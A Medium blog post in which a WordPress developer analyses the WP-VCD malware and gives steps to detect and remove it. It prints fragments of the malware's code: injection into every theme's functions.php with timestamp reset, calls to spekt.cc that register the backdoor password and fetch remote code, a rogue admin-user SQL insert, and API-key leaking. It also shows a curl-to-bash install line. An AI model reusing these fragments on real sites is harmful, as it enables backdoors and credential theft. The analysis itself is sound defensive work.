WordPress WP-VCD malware attack — Comprehensive Guide & Solution

Howdy,

This is my first Medium post.

My name is Ian Arman, I’m a professional WordPress Designer/Developer. I’m mostly self-taught having learned about WordPress by simply taking it apart, and putting it back together (hundreds of times)!

If you find this post useful, bookmark this story, and be sure to clap!

One of the websites I run has a few Google AdWords campaigns associated with it and was recently infected with the WP-VCD Malware (yea, go ahead and judge me, but here’s how to completely remove it).

Thanks to Google for informing me about this issue.

I spent a lot of time researching this particular piece of malware since it kept cropping up. I even wrote a cronjob which scans for the malware every minute.

The infectious WP-VCD malware typically comes from a user seeking to download a free theme, which is otherwise a paid theme.

The deployment process works as follows:

The nulled theme contains one of the following two files

class.theme-modules.php
class.plugin-modules.php

The .php files contain the same Base64 encrypted code string, which is decrypted twice (once by the class.(theme/plugin)-module.php) file and the second time to ensure the malware is properly injected into functions.php.

The malware generates an MD5 checksum of the sites URL (an example of this can be seen below) along with the WordPress AUTH_SALT constraint.

The AUTH_SALT constraint is generated during the WordPress installation and located in wp-config.php

echo https://www.example.com | md5sum

The malware then “Phones Home” to the current Command and Control server and registers itself with the backdoor password, which is generated with the resulting MD5 Hash of the infected sites URL and the AUTH_SALT constraint, listed in wp-config.php.

The resulting password is located in the first line of the modified functions.php.

The website can be seen “Phoning Home” to the Command and Control server by simply installing PIHOLE, a publically available AdBlocker, which also has a WebGUI and has the ability to log all DNS queries.

curl -sSL https://install.pi-hole.net | bash

The main symptom of wp-vcd malware are spam popups, creates Spam URLs on the website.

The malware is even crafty enough to track the WordPress Admin’s IP Address, inside a file called wp-feed.php so not to show the Admin IP the spam popups! (more on that later)

Some variants of the malicious codes have been seen to modify core WordPress files and also add new files in the /wp-includes directory.

  • The malware creates a backdoor which allows hackers to have access to your website for extended periods
  • Hackers are able to exploit vulnerabilities in WordPress plugins & themes to upload the wp-vcd malware on vulnerable sites.

Here’s a simple script which can check for the file every minute and append an update to malware.scan.txt with the results:

I created a file called malware.scan.sh and placed it in a folder called quarantine and added the script to my cronjobs which runs every minute

Here are the contents of the script

#!/bin/bash
if [ -f /var/www/wordpress/wp-includes/wp-temp] ; then echo code injection $(date) >> /root/malware.scan.txt ; else echo no ; fi

Here’s what the cronjob listing should look like:

* * * * * /root/quarantine/malware.scan.sh

Rakshit Shah, posted the following article on medium although I thought I’d update with a few more steps since the malware kept popping back up

In Rakshit’s Medium Article he recommends conducting a WordFence Scan. Here’s a couple of other tips too:

https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

grep -ril base64 *

This will just list the file names. You can omit the ‘l’ option to see the actual contents of the file where the base64 string occurs:

In my case, the following file was found

wp-vcd.php

grep -ri base64 *

Keep in mind that “base64” can occur in legitimate code as well. Before you delete anything, you’ll want to make sure that you are not deleting a file that is being used by a theme or plugin on your site. A more refined search could look like this:

In my case, GREP found the following code string:

install_code = str_replace('{$PASSWORD}',$install_hash, base64_decode($install_code));

grep --include=*.php -rn . -e "base64_decode"

This command searches all files recursively that end with .php for the string “base64_decode” and prints the line number so that you can more easily find the context that the string occurs in.

In my case, GREP found the following code string:

./wp-vcd.php:10: $install_code =str_replace('{$PASSWORD}', $install_hash, base64_decode( $install_code ));

Here’s what the malware does:

Upon inspecting wp-vcd.php and wp-tmp.php which are both located in the wp-includes directory.

The wp-tmp.php file calls two malicious encoded javascripts

deloplen.com/apu.php?zoneid=2933250

https://pushlaram.com/pfe/current/tag.min.js?z=2933260" data-cfasync=”false” async></script>

The wp-tmp.php file also controls whether or not the user is redirected.

The conditions are: if the user can edit WordPress pages, their IP is then logged to wp-feed.php, and a cookie placed in their browser cache

If the HTTP_REFERRER is from one of the following domains:

‘google.’,’/search?’,’images.google.’, ‘web.info.com’, ‘search.’,’yahoo.’,’yandex’,’msn.’,’baidu’,’bing.’,’doubleclick.net’,’googleweblight.com’);

A cookie is placed in their browser cache. The redirect appears to be controlled by the following URL and script:

deloplen.com/apu.php?zoneid=2933250

Here was my testing:

I used a Tor browser, and browsed to

deloplen.com/apu.php?zoneid=2933250

I was then redirected to: http://wowreality.info/?wm=gr

A few hours later (after posting this medium article), I returned to the same website (deloplen.com/apu.php……), and then was redirected to what appears to be javascript code injection:

The pushlaram.com script can be viewed here.

I was able to successfully decode this script using the following website:

MalwareDecode.com

Here is a sample of the decoded encrypted code:

The function of the wp-vcd.php appears to be to install the injected code into functions.php.

The malware first installs a base64 encoded string into the functions.php file in all the installed (even disabled) WordPress Themes.

$install_code = ‘PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFs…….

The injected wp-vcd.php file starts with a long base64 encoded string named $install_code shown above

$install_code = 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time

In my case the modified file was:

/var/www/wordpress/wp-content/themes/Divi/Divi/functions.php

What is Base64?

In computer science, Base64 is a way of encoding ASCII TEXTI (php code in this case) into a long encoded string.

Fortunately, this long string can be decoded easily enough, using the following website

You can find the file wp-vcd.php by using the find command I’ve posted below. Once you find the file you can inspect the base 64 code, which should be line #7.

Just copy/paste the string into the link below, and click ‘decode’

The base64 encoded string is then actually 184 lines of PHP code, which is then injected into the top of functions.php in each of the themes both enabled or disabled.

You can download the sample wp-vcd malware file on GitHub

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
if (strpos($content, 'WP_V_CD') === false){
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else { $ping = false; }
}

then it populates remotely a database/array of hostnames and passwords of the code injections via test.php and downloads the content of a remote txt file inside class.wp.php

if ($ping) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt')); }if ($ping2) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt'));//echo ABSPATH . ‘wp-includes/class.wp.php’; }

Sample ../wp-includes/class.wp.php

class.wp.php tries to inject a user inside the wp db

$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘100011111’, ‘100011111’, ‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’, ‘spekt@spekt.cc’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’, ‘100010010’)”);

And messes with an Envato Market Wordpress Toolkit API key, probably as a way to update themes.

if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’; echo esc_html( envato_market()->get_option( ‘token’ ) ); echo ‘</center></h2>’; } }

Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory.

function wp_temp_setupx($phpCode) 
{
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname; unlink($tmpfname);
return get_defined_vars();
}

From the research, the majority of the domains the malware script calls, are no longer in operation or have the A record removed.

You can check this for yourself, by using the following website and lookup up the A record:

www.whatsmydns.com

How to remove the malware.

I highly recommend creating the cronjob I mentioned earlier, it will probably save you a big headache.

You’ll then need to install “WordFence”, and start a scan.

The WordFence database knows exactly what each WordPress file should look like (assuming they haven’t been modified for legitimate purposes, thus creating false positives).

Once the scan is complete, it will list the offending files. You’ll want to remove them (although take a backup just in case, the wrong file is removed).

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Ian Arman

Ian Arman

2 Followers

Hey I'm @ianarman, I only clap about the cool stuff on @Medium!